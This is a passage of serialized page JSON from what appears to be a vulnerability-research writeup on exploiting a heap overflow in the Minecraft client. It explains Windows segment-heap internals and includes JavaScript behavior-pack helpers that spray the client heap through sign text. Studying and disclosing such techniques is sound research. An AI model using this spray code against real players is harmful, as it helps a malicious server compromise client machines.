",{"type":20,"tag":35,"props":148059,"children":148062},{"href":148060,"rel":148061},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[39],[148063],{"type":26,"value":148064},"this talk",{"type":26,"value":148066}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":20,"tag":17297,"props":148068,"children":148070},{"id":148069},"low-fragmentation-heap",[148071],{"type":26,"value":148072},"Low Fragmentation Heap",{"type":20,"tag":29,"props":148074,"children":148075},{},[148076,148078,148084],{"type":26,"value":148077},"Low Fragmentation Heap (LFH) services allocations of ",{"type":20,"tag":119,"props":148079,"children":148081},{"className":148080},[],[148082],{"type":26,"value":148083},"0x3ff0",{"type":26,"value":148085}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":20,"tag":29,"props":148087,"children":148088},{},[148089],{"type":26,"value":148090},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":20,"tag":305,"props":148092,"children":148094},{"code":148093}," +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[148095],{"type":20,"tag":119,"props":148096,"children":148097},{"__ignoreMap":7},[148098],{"type":26,"value":148093},{"type":20,"tag":29,"props":148100,"children":148101},{},[148102],{"type":26,"value":148103},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":20,"tag":17297,"props":148105,"children":148107},{"id":148106},"variable-size",[148108],{"type":26,"value":148109},"Variable Size",{"type":20,"tag":29,"props":148111,"children":148112},{},[148113,148115,148121,148123,148129],{"type":26,"value":148114},"This subsegment is used for allocation sizes from ",{"type":20,"tag":119,"props":148116,"children":148118},{"className":148117},[],[148119],{"type":26,"value":148120},"0x4000",{"type":26,"value":148122}," and up to ",{"type":20,"tag":119,"props":148124,"children":148126},{"className":148125},[],[148127],{"type":26,"value":148128},"0x20_000",{"type":26,"value":148130},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":20,"tag":305,"props":148132,"children":148134},{"code":148133}," +-------------------------+\n Chunk A ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\n Chunk B ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[148135],{"type":20,"tag":119,"props":148136,"children":148137},{"__ignoreMap":7},[148138],{"type":26,"value":148133},{"type":20,"tag":29,"props":148140,"children":148141},{},[148142,148144,148150],{"type":26,"value":148143},"The header, ",{"type":20,"tag":119,"props":148145,"children":148147},{"className":148146},[],[148148],{"type":26,"value":148149},"HEAP_VS_CHUNK_HEADER",{"type":26,"value":148151},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":20,"tag":17197,"props":148153,"children":148154},{},[],{"type":20,"tag":29,"props":148156,"children":148157},{},[148158],{"type":26,"value":148159},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":20,"tag":29,"props":148161,"children":148162},{},[148163,148165,148172],{"type":26,"value":148164},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":20,"tag":35,"props":148166,"children":148169},{"href":148167,"rel":148168},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[39],[148170],{"type":26,"value":148171},"technique published",{"type":26,"value":148173}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":20,"tag":29,"props":148175,"children":148176},{},[148177],{"type":26,"value":148178},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":20,"tag":29,"props":148180,"children":148181},{},[148182],{"type":26,"value":148183},"In either case, we needed a way to spray the heap before we could proceed.",{"type":20,"tag":219,"props":148185,"children":148187},{"id":148186},"finding-a-way-to-spray-the-heap",[148188],{"type":26,"value":148189},"Finding a Way to Spray the Heap",{"type":20,"tag":29,"props":148191,"children":148192},{},[148193],{"type":26,"value":148194},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":20,"tag":15089,"props":148196,"children":148197},{},[148198,148203,148208,148213],{"type":20,"tag":72,"props":148199,"children":148200},{},[148201],{"type":26,"value":148202},"The size of the allocation",{"type":20,"tag":72,"props":148204,"children":148205},{},[148206],{"type":26,"value":148207},"The data written into the allocated buffer",{"type":20,"tag":72,"props":148209,"children":148210},{},[148211],{"type":26,"value":148212},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":20,"tag":72,"props":148214,"children":148215},{},[148216],{"type":26,"value":148217},"The number of created objects (preferably unbounded)",{"type":20,"tag":29,"props":148219,"children":148220},{},[148221],{"type":26,"value":148222},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":20,"tag":17297,"props":148224,"children":148226},{"id":148225},"minecraft-signs",[148227],{"type":26,"value":148228},"Minecraft Signs",{"type":20,"tag":29,"props":148230,"children":148231},{},[148232],{"type":26,"value":148233},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":20,"tag":29,"props":148235,"children":148236},{},[148237,148239,148245],{"type":26,"value":148238},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":20,"tag":119,"props":148240,"children":148242},{"className":148241},[],[148243],{"type":26,"value":148244},"std::string",{"type":26,"value":61},{"type":20,"tag":29,"props":148247,"children":148248},{},[148249,148251,148256],{"type":26,"value":148250},"In Microsoft’s C++ implementation, ",{"type":20,"tag":119,"props":148252,"children":148254},{"className":148253},[],[148255],{"type":26,"value":148244},{"type":26,"value":148257}," is structured roughly as follows:",{"type":20,"tag":305,"props":148259,"children":148261},{"code":148260,"language":1528,"meta":7,"className":14916,"style":7},"struct string\n{\n union {\n char* ptr;\n char buf[16];\n };\n size_t size;\n size_t capacity;\n};\n",[148262],{"type":20,"tag":119,"props":148263,"children":148264},{"__ignoreMap":7},[148265,148276,148283,148295,148311,148335,148342,148353,148365],{"type":20,"tag":315,"props":148266,"children":148267},{"class":317,"line":318},[148268,148272],{"type":20,"tag":315,"props":148269,"children":148270},{"style":541},[148271],{"type":26,"value":7800},{"type":20,"tag":315,"props":148273,"children":148274},{"style":328},[148275],{"type":26,"value":83302},{"type":20,"tag":315,"props":148277,"children":148278},{"class":317,"line":356},[148279],{"type":20,"tag":315,"props":148280,"children":148281},{"style":328},[148282],{"type":26,"value":723},{"type":20,"tag":315,"props":148284,"children":148285},{"class":317,"line":365},[148286,148291],{"type":20,"tag":315,"props":148287,"children":148288},{"style":541},[148289],{"type":26,"value":148290}," union",{"type":20,"tag":315,"props":148292,"children":148293},{"style":328},[148294],{"type":26,"value":1092},{"type":20,"tag":315,"props":148296,"children":148297},{"class":317,"line":374},[148298,148303,148307],{"type":20,"tag":315,"props":148299,"children":148300},{"style":541},[148301],{"type":26,"value":148302}," char",{"type":20,"tag":315,"props":148304,"children":148305},{"style":334},[148306],{"type":26,"value":901},{"type":20,"tag":315,"props":148308,"children":148309},{"style":328},[148310],{"type":26,"value":14958},{"type":20,"tag":315,"props":148312,"children":148313},{"class":317,"line":383},[148314,148318,148323,148327,148331],{"type":20,"tag":315,"props":148315,"children":148316},{"style":541},[148317],{"type":26,"value":148302},{"type":20,"tag":315,"props":148319,"children":148320},{"style":635},[148321],{"type":26,"value":148322}," buf",{"type":20,"tag":315,"props":148324,"children":148325},{"style":328},[148326],{"type":26,"value":2117},{"type":20,"tag":315,"props":148328,"children":148329},{"style":765},[148330],{"type":26,"value":39264},{"type":20,"tag":315,"props":148332,"children":148333},{"style":328},[148334],{"type":26,"value":29989},{"type":20,"tag":315,"props":148336,"children":148337},{"class":317,"line":407},[148338],{"type":20,"tag":315,"props":148339,"children":148340},{"style":328},[148341],{"type":26,"value":37413},{"type":20,"tag":315,"props":148343,"children":148344},{"class":317,"line":421},[148345,148349],{"type":20,"tag":315,"props":148346,"children":148347},{"style":541},[148348],{"type":26,"value":14966},{"type":20,"tag":315,"props":148350,"children":148351},{"style":328},[148352],{"type":26,"value":122860},{"type":20,"tag":315,"props":148354,"children":148355},{"class":317,"line":430},[148356,148360],{"type":20,"tag":315,"props":148357,"children":148358},{"style":541},[148359],{"type":26,"value":14966},{"type":20,"tag":315,"props":148361,"children":148362},{"style":328},[148363],{"type":26,"value":148364}," capacity;\n",{"type":20,"tag":315,"props":148366,"children":148367},{"class":317,"line":453},[148368],{"type":20,"tag":315,"props":148369,"children":148370},{"style":328},[148371],{"type":26,"value":14979},{"type":20,"tag":29,"props":148373,"children":148374},{},[148375,148377,148383,148385,148390],{"type":26,"value":148376},"We are primarily interested in the union: ",{"type":20,"tag":119,"props":148378,"children":148380},{"className":148379},[],[148381],{"type":26,"value":148382},"buf",{"type":26,"value":148384}," is used when the string fits within 16 bytes, while ",{"type":20,"tag":119,"props":148386,"children":148388},{"className":148387},[],[148389],{"type":26,"value":12350},{"type":26,"value":148391}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":20,"tag":29,"props":148393,"children":148394},{},[148395],{"type":26,"value":148396},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":20,"tag":29,"props":148398,"children":148399},{},[148400],{"type":26,"value":148401},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":20,"tag":17297,"props":148403,"children":148405},{"id":148404},"spraying-with-server-side-scripting",[148406],{"type":26,"value":148407},"Spraying With Server-Side Scripting",{"type":20,"tag":29,"props":148409,"children":148410},{},[148411],{"type":26,"value":148412},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":20,"tag":29,"props":148414,"children":148415},{},[148416,148418,148424,148425,148431],{"type":26,"value":148417},"We wrote ",{"type":20,"tag":119,"props":148419,"children":148421},{"className":148420},[],[148422],{"type":26,"value":148423},"alloc",{"type":26,"value":9392},{"type":20,"tag":119,"props":148426,"children":148428},{"className":148427},[],[148429],{"type":26,"value":148430},"free",{"type":26,"value":148432}," helpers that trigger an allocation in the client and free it on demand:",{"type":20,"tag":305,"props":148434,"children":148436},{"code":148435,"language":34031,"meta":7,"className":34029,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n for (let sign of signs) {\n if (sign.allocated || sign.removed) {\n continue;\n }\n\n sign.sign.setText(fill.repeat(size - 1));\n sign.allocated = true;\n return sign;\n }\n\n console.warn(\"No more allocs\");\n return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n if (sign == undefined || sign.allocated == false) {\n return;\n }\n\n sign.sign.setText(\"\");\n sign.allocated = false;\n\n sign.block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n sign.removed = true;\n}\n",[148437],{"type":20,"tag":119,"props":148438,"children":148439},{"__ignoreMap":7},[148440,148448,148490,148523,148568,148580,148587,148594,148655,148682,148697,148704,148711,148740,148755,148762,148769,148777,148801,148852,148863,148870,148877,148914,148941,148948,148977,149007,149014,149041],{"type":20,"tag":315,"props":148441,"children":148442},{"class":317,"line":318},[148443],{"type":20,"tag":315,"props":148444,"children":148445},{"style":1071},[148446],{"type":26,"value":148447},"// Allocate sign text in the client\n",{"type":20,"tag":315,"props":148449,"children":148450},{"class":317,"line":356},[148451,148455,148460,148464,148468,148472,148477,148481,148486],{"type":20,"tag":315,"props":148452,"children":148453},{"style":541},[148454],{"type":26,"value":615},{"type":20,"tag":315,"props":148456,"children":148457},{"style":345},[148458],{"type":26,"value":148459}," alloc",{"type":20,"tag":315,"props":148461,"children":148462},{"style":328},[148463],{"type":26,"value":1049},{"type":20,"tag":315,"props":148465,"children":148466},{"style":635},[148467],{"type":26,"value":122518},{"type":20,"tag":315,"props":148469,"children":148470},{"style":328},[148471],{"type":26,"value":44},{"type":20,"tag":315,"props":148473,"children":148474},{"style":635},[148475],{"type":26,"value":148476},"fill",{"type":20,"tag":315,"props":148478,"children":148479},{"style":334},[148480],{"type":26,"value":337},{"type":20,"tag":315,"props":148482,"children":148483},{"style":2652},[148484],{"type":26,"value":148485},"\"A\"",{"type":20,"tag":315,"props":148487,"children":148488},{"style":328},[148489],{"type":26,"value":549},{"type":20,"tag":315,"props":148491,"children":148492},{"class":317,"line":365},[148493,148497,148501,148505,148510,148514,148519],{"type":20,"tag":315,"props":148494,"children":148495},{"style":525},[148496],{"type":26,"value":1413},{"type":20,"tag":315,"props":148498,"children":148499},{"style":328},[148500],{"type":26,"value":463},{"type":20,"tag":315,"props":148502,"children":148503},{"style":541},[148504],{"type":26,"value":10188},{"type":20,"tag":315,"props":148506,"children":148507},{"style":635},[148508],{"type":26,"value":148509}," sign",{"type":20,"tag":315,"props":148511,"children":148512},{"style":541},[148513],{"type":26,"value":8763},{"type":20,"tag":315,"props":148515,"children":148516},{"style":635},[148517],{"type":26,"value":148518}," signs",{"type":20,"tag":315,"props":148520,"children":148521},{"style":328},[148522],{"type":26,"value":549},{"type":20,"tag":315,"props":148524,"children":148525},{"class":317,"line":374},[148526,148530,148534,148539,148543,148548,148552,148556,148560,148564],{"type":20,"tag":315,"props":148527,"children":148528},{"style":525},[148529],{"type":26,"value":1654},{"type":20,"tag":315,"props":148531,"children":148532},{"style":328},[148533],{"type":26,"value":463},{"type":20,"tag":315,"props":148535,"children":148536},{"style":635},[148537],{"type":26,"value":148538},"sign",{"type":20,"tag":315,"props":148540,"children":148541},{"style":328},[148542],{"type":26,"value":61},{"type":20,"tag":315,"props":148544,"children":148545},{"style":635},[148546],{"type":26,"value":148547},"allocated",{"type":20,"tag":315,"props":148549,"children":148550},{"style":334},[148551],{"type":26,"value":22113},{"type":20,"tag":315,"props":148553,"children":148554},{"style":635},[148555],{"type":26,"value":148509},{"type":20,"tag":315,"props":148557,"children":148558},{"style":328},[148559],{"type":26,"value":61},{"type":20,"tag":315,"props":148561,"children":148562},{"style":635},[148563],{"type":26,"value":131223},{"type":20,"tag":315,"props":148565,"children":148566},{"style":328},[148567],{"type":26,"value":549},{"type":20,"tag":315,"props":148569,"children":148570},{"class":317,"line":383},[148571,148576],{"type":20,"tag":315,"props":148572,"children":148573},{"style":525},[148574],{"type":26,"value":148575}," continue",{"type":20,"tag":315,"props":148577,"children":148578},{"style":328},[148579],{"type":26,"value":1405},{"type":20,"tag":315,"props":148581,"children":148582},{"class":317,"line":407},[148583],{"type":20,"tag":315,"props":148584,"children":148585},{"style":328},[148586],{"type":26,"value":1728},{"type":20,"tag":315,"props":148588,"children":148589},{"class":317,"line":421},[148590],{"type":20,"tag":315,"props":148591,"children":148592},{"emptyLinePlaceholder":15},[148593],{"type":26,"value":427},{"type":20,"tag":315,"props":148595,"children":148596},{"class":317,"line":430},[148597,148602,148606,148610,148614,148619,148623,148627,148631,148635,148639,148643,148647,148651],{"type":20,"tag":315,"props":148598,"children":148599},{"style":635},[148600],{"type":26,"value":148601}," sign",{"type":20,"tag":315,"props":148603,"children":148604},{"style":328},[148605],{"type":26,"value":61},{"type":20,"tag":315,"props":148607,"children":148608},{"style":635},[148609],{"type":26,"value":148538},{"type":20,"tag":315,"props":148611,"children":148612},{"style":328},[148613],{"type":26,"value":61},{"type":20,"tag":315,"props":148615,"children":148616},{"style":345},[148617],{"type":26,"value":148618},"setText",{"type":20,"tag":315,"props":148620,"children":148621},{"style":328},[148622],{"type":26,"value":1049},{"type":20,"tag":315,"props":148624,"children":148625},{"style":635},[148626],{"type":26,"value":148476},{"type":20,"tag":315,"props":148628,"children":148629},{"style":328},[148630],{"type":26,"value":61},{"type":20,"tag":315,"props":148632,"children":148633},{"style":345},[148634],{"type":26,"value":131473},{"type":20,"tag":315,"props":148636,"children":148637},{"style":328},[148638],{"type":26,"value":1049},{"type":20,"tag":315,"props":148640,"children":148641},{"style":635},[148642],{"type":26,"value":122518},{"type":20,"tag":315,"props":148644,"children":148645},{"style":334},[148646],{"type":26,"value":49507},{"type":20,"tag":315,"props":148648,"children":148649},{"style":765},[148650],{"type":26,"value":2916},{"type":20,"tag":315,"props":148652,"children":148653},{"style":328},[148654],{"type":26,"value":5618},{"type":20,"tag":315,"props":148656,"children":148657},{"class":317,"line":453},[148658,148662,148666,148670,148674,148678],{"type":20,"tag":315,"props":148659,"children":148660},{"style":635},[148661],{"type":26,"value":148601},{"type":20,"tag":315,"props":148663,"children":148664},{"style":328},[148665],{"type":26,"value":61},{"type":20,"tag":315,"props":148667,"children":148668},{"style":635},[148669],{"type":26,"value":148547},{"type":20,"tag":315,"props":148671,"children":148672},{"style":334},[148673],{"type":26,"value":1395},{"type":20,"tag":315,"props":148675,"children":148676},{"style":541},[148677],{"type":26,"value":544},{"type":20,"tag":315,"props":148679,"children":148680},{"style":328},[148681],{"type":26,"value":1405},{"type":20,"tag":315,"props":148683,"children":148684},{"class":317,"line":486},[148685,148689,148693],{"type":20,"tag":315,"props":148686,"children":148687},{"style":525},[148688],{"type":26,"value":14145},{"type":20,"tag":315,"props":148690,"children":148691},{"style":635},[148692],{"type":26,"value":148509},{"type":20,"tag":315,"props":148694,"children":148695},{"style":328},[148696],{"type":26,"value":1405},{"type":20,"tag":315,"props":148698,"children":148699},{"class":317,"line":499},[148700],{"type":20,"tag":315,"props":148701,"children":148702},{"style":328},[148703],{"type":26,"value":1736},{"type":20,"tag":315,"props":148705,"children":148706},{"class":317,"line":513},[148707],{"type":20,"tag":315,"props":148708,"children":148709},{"emptyLinePlaceholder":15},[148710],{"type":26,"value":427},{"type":20,"tag":315,"props":148712,"children":148713},{"class":317,"line":521},[148714,148718,148722,148727,148731,148736],{"type":20,"tag":315,"props":148715,"children":148716},{"style":635},[148717],{"type":26,"value":29854},{"type":20,"tag":315,"props":148719,"children":148720},{"style":328},[148721],{"type":26,"value":61},{"type":20,"tag":315,"props":148723,"children":148724},{"style":345},[148725],{"type":26,"value":148726},"warn",{"type":20,"tag":315,"props":148728,"children":148729},{"style":328},[148730],{"type":26,"value":1049},{"type":20,"tag":315,"props":148732,"children":148733},{"style":2652},[148734],{"type":26,"value":148735},"\"No more allocs\"",{"type":20,"tag":315,"props":148737,"children":148738},{"style":328},[148739],{"type":26,"value":2214},{"type":20,"tag":315,"props":148741,"children":148742},{"class":317,"line":552},[148743,148747,148751],{"type":20,"tag":315,"props":148744,"children":148745},{"style":525},[148746],{"type":26,"value":731},{"type":20,"tag":315,"props":148748,"children":148749},{"style":541},[148750],{"type":26,"value":37754},{"type":20,"tag":315,"props":148752,"children":148753},{"style":328},[148754],{"type":26,"value":1405},{"type":20,"tag":315,"props":148756,"children":148757},{"class":317,"line":571},[148758],{"type":20,"tag":315,"props":148759,"children":148760},{"style":328},[148761],{"type":26,"value":577},{"type":20,"tag":315,"props":148763,"children":148764},{"class":317,"line":2031},[148765],{"type":20,"tag":315,"props":148766,"children":148767},{"emptyLinePlaceholder":15},[148768],{"type":26,"value":427},{"type":20,"tag":315,"props":148770,"children":148771},{"class":317,"line":2053},[148772],{"type":20,"tag":315,"props":148773,"children":148774},{"style":1071},[148775],{"type":26,"value":148776},"// Free an allocated sign in the client\n",{"type":20,"tag":315,"props":148778,"children":148779},{"class":317,"line":2061},[148780,148784,148789,148793,148797],{"type":20,"tag":315,"props":148781,"children":148782},{"style":541},[148783],{"type":26,"value":615},{"type":20,"tag":315,"props":148785,"children":148786},{"style":345},[148787],{"type":26,"value":148788}," free",{"type":20,"tag":315,"props":148790,"children":148791},{"style":328},[148792],{"type":26,"value":1049},{"type":20,"tag":315,"props":148794,"children":148795},{"style":635},[148796],{"type":26,"value":148538},{"type":20,"tag":315,"props":148798,"children":148799},{"style":328},[148800],{"type":26,"value":549},{"type":20,"tag":315,"props":148802,"children":148803},{"class":317,"line":2070},[148804,148808,148812,148816,148820,148824,148828,148832,148836,148840,148844,148848],{"type":20,"tag":315,"props":148805,"children":148806},{"style":525},[148807],{"type":26,"value":10680},{"type":20,"tag":315,"props":148809,"children":148810},{"style":328},[148811],{"type":26,"value":463},{"type":20,"tag":315,"props":148813,"children":148814},{"style":635},[148815],{"type":26,"value":148538},{"type":20,"tag":315,"props":148817,"children":148818},{"style":334},[148819],{"type":26,"value":1664},{"type":20,"tag":315,"props":148821,"children":148822},{"style":541},[148823],{"type":26,"value":37754},{"type":20,"tag":315,"props":148825,"children":148826},{"style":334},[148827],{"type":26,"value":22113},{"type":20,"tag":315,"props":148829,"children":148830},{"style":635},[148831],{"type":26,"value":148509},{"type":20,"tag":315,"props":148833,"children":148834},{"style":328},[148835],{"type":26,"value":61},{"type":20,"tag":315,"props":148837,"children":148838},{"style":635},[148839],{"type":26,"value":148547},{"type":20,"tag":315,"props":148841,"children":148842},{"style":334},[148843],{"type":26,"value":1664},{"type":20,"tag":315,"props":148845,"children":148846},{"style":541},[148847],{"type":26,"value":7455},{"type":20,"tag":315,"props":148849,"children":148850},{"style":328},[148851],{"type":26,"value":549},{"type":20,"tag":315,"props":148853,"children":148854},{"class":317,"line":2139},[148855,148859],{"type":20,"tag":315,"props":148856,"children":148857},{"style":525},[148858],{"type":26,"value":14145},{"type":20,"tag":315,"props":148860,"children":148861},{"style":328},[148862],{"type":26,"value":1405},{"type":20,"tag":315,"props":148864,"children":148865},{"class":317,"line":2147},[148866],{"type":20,"tag":315,"props":148867,"children":148868},{"style":328},[148869],{"type":26,"value":1736},{"type":20,"tag":315,"props":148871,"children":148872},{"class":317,"line":2177},[148873],{"type":20,"tag":315,"props":148874,"children":148875},{"emptyLinePlaceholder":15},[148876],{"type":26,"value":427},{"type":20,"tag":315,"props":148878,"children":148879},{"class":317,"line":2185},[148880,148885,148889,148893,148897,148901,148905,148910],{"type":20,"tag":315,"props":148881,"children":148882},{"style":635},[148883],{"type":26,"value":148884}," sign",{"type":20,"tag":315,"props":148886,"children":148887},{"style":328},[148888],{"type":26,"value":61},{"type":20,"tag":315,"props":148890,"children":148891},{"style":635},[148892],{"type":26,"value":148538},{"type":20,"tag":315,"props":148894,"children":148895},{"style":328},[148896],{"type":26,"value":61},{"type":20,"tag":315,"props":148898,"children":148899},{"style":345},[148900],{"type":26,"value":148618},{"type":20,"tag":315,"props":148902,"children":148903},{"style":328},[148904],{"type":26,"value":1049},{"type":20,"tag":315,"props":148906,"children":148907},{"style":2652},[148908],{"type":26,"value":148909},"\"\"",{"type":20,"tag":315,"props":148911,"children":148912},{"style":328},[148913],{"type":26,"value":2214},{"type":20,"tag":315,"props":148915,"children":148916},{"class":317,"line":2217},[148917,148921,148925,148929,148933,148937],{"type":20,"tag":315,"props":148918,"children":148919},{"style":635},[148920],{"type":26,"value":148884},{"type":20,"tag":315,"props":148922,"children":148923},{"style":328},[148924],{"type":26,"value":61},{"type":20,"tag":315,"props":148926,"children":148927},{"style":635},[148928],{"type":26,"value":148547},{"type":20,"tag":315,"props":148930,"children":148931},{"style":334},[148932],{"type":26,"value":1395},{"type":20,"tag":315,"props":148934,"children":148935},{"style":541},[148936],{"type":26,"value":7455},{"type":20,"tag":315,"props":148938,"children":148939},{"style":328},[148940],{"type":26,"value":1405},{"type":20,"tag":315,"props":148942,"children":148943},{"class":317,"line":2225},[148944],{"type":20,"tag":315,"props":148945,"children":148946},{"emptyLinePlaceholder":15},[148947],{"type":26,"value":427},{"type":20,"tag":315,"props":148949,"children":148950},{"class":317,"line":2285},[148951,148955,148959,148964,148968,148973],{"type":20,"tag":315,"props":148952,"children":148953},{"style":635},[148954],{"type":26,"value":148884},{"type":20,"tag":315,"props":148956,"children":148957},{"style":328},[148958],{"type":26,"value":61},{"type":20,"tag":315,"props":148960,"children":148961},{"style":635},[148962],{"type":26,"value":148963},"block",{"type":20,"tag":315,"props":148965,"children":148966},{"style":328},[148967],{"type":26,"value":61},{"type":20,"tag":315,"props":148969,"children":148970},{"style":345},[148971],{"type":26,"value":148972},"setPermutation",{"type":20,"tag":315,"props":148974,"children":148975},{"style":328},[148976],{"type":26,"value":353},{"type":20,"tag":315,"props":148978,"children":148979},{"class":317,"line":7444},[148980,148985,148989,148994,148998,149003],{"type":20,"tag":315,"props":148981,"children":148982},{"style":635},[148983],{"type":26,"value":148984}," BlockPermutation",{"type":20,"tag":315,"props":148986,"children":148987},{"style":328},[148988],{"type":26,"value":61},{"type":20,"tag":315,"props":148990,"children":148991},{"style":345},[148992],{"type":26,"value":148993},"resolve",{"type":20,"tag":315,"props":148995,"children":148996},{"style":328},[148997],{"type":26,"value":1049},{"type":20,"tag":315,"props":148999,"children":149000},{"style":2652},[149001],{"type":26,"value":149002},"\"minecraft:air\"",{"type":20,"tag":315,"props":149004,"children":149005},{"style":328},[149006],{"type":26,"value":380},{"type":20,"tag":315,"props":149008,"children":149009},{"class":317,"line":7462},[149010],{"type":20,"tag":315,"props":149011,"children":149012},{"style":328},[149013],{"type":26,"value":42076},{"type":20,"tag":315,"props":149015,"children":149016},{"class":317,"line":7507},[149017,149021,149025,149029,149033,149037],{"type":20,"tag":315,"props":149018,"children":149019},{"style":635},[149020],{"type":26,"value":148884},{"type":20,"tag":315,"props":149022,"children":149023},{"style":328},[149024],{"type":26,"value":61},{"type":20,"tag":315,"props":149026,"children":149027},{"style":635},[149028],{"type":26,"value":131223},{"type":20,"tag":315,"props":149030,"children":149031},{"style":334},[149032],{"type":26,"value":1395},{"type":20,"tag":315,"props":149034,"children":149035},{"style":541},[149036],{"type":26,"value":544},{"type":20,"tag":315,"props":149038,"children":149039},{"style":328},[149040],{"type":26,"value":1405},{"type":20,"tag":315,"props":149042,"children":149043},{"class":317,"line":7613},[149044],{"type":20,"tag":315,"props":149045,"children":149046},{"style":328},[149047],{"type":26,"value":577},{"type":20,"tag":29,"props":149049,"children":149050},{},[149051,149053,149059],{"type":26,"value":149052},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":20,"tag":119,"props":149054,"children":149056},{"className":149055},[],[149057],{"type":26,"value":149058},"signs",{"type":26,"value":149060}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":20,"tag":305,"props":149062,"children":149064},{"code":149063,"language":34031,"meta":7,"className":34029,"style":7},"let signs;\n\nfunction create_wall() {\n signs = [];\n\n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n [...]\n \n const sign_block = world\n .getDimension(\"overworld\")\n .getBlock(sign_location);\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:wall_sign\", {\n facing_direction: 3\n }\n ));\n let sign_component = sign_block\n .getComponent(BlockComponentTypes.Sign);\n\n signs.push({\n sign: sign_component,\n allocated: false,\n block: sign_block,\n removed: false\n });\n }\n }\n}\n\nfunction remove_wall() {\n signs = [];\n \n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n \n [...]\n \n const sign_block = await wait_for_block(\n world.getDimension(\"overworld\"),\n sign_location\n );\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n\n [...]\n }\n }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n remove_wall();\n});\n",[149065],{"type":20,"tag":119,"props":149066,"children":149067},{"__ignoreMap":7},[149068,149083,149090,149106,149123,149130,149192,149254,149261,149277,149285,149307,149333,149358,149378,149407,149419,149426,149434,149456,149490,149497,149517,149533,149549,149565,149577,149585,149592,149599,149606,149613,149629,149644,149651,149710,149769,149776,149791,149799,149827,149855,149863,149870,149889,149916,149923,149930,149945,149952,149959,149966,149973,150029,150041,150048,150055,150116,150128],{"type":20,"tag":315,"props":149069,"children":149070},{"class":317,"line":318},[149071,149075,149079],{"type":20,"tag":315,"props":149072,"children":149073},{"style":541},[149074],{"type":26,"value":10188},{"type":20,"tag":315,"props":149076,"children":149077},{"style":635},[149078],{"type":26,"value":148518},{"type":20,"tag":315,"props":149080,"children":149081},{"style":328},[149082],{"type":26,"value":1405},{"type":20,"tag":315,"props":149084,"children":149085},{"class":317,"line":356},[149086],{"type":20,"tag":315,"props":149087,"children":149088},{"emptyLinePlaceholder":15},[149089],{"type":26,"value":427},{"type":20,"tag":315,"props":149091,"children":149092},{"class":317,"line":365},[149093,149097,149102],{"type":20,"tag":315,"props":149094,"children":149095},{"style":541},[149096],{"type":26,"value":615},{"type":20,"tag":315,"props":149098,"children":149099},{"style":345},[149100],{"type":26,"value":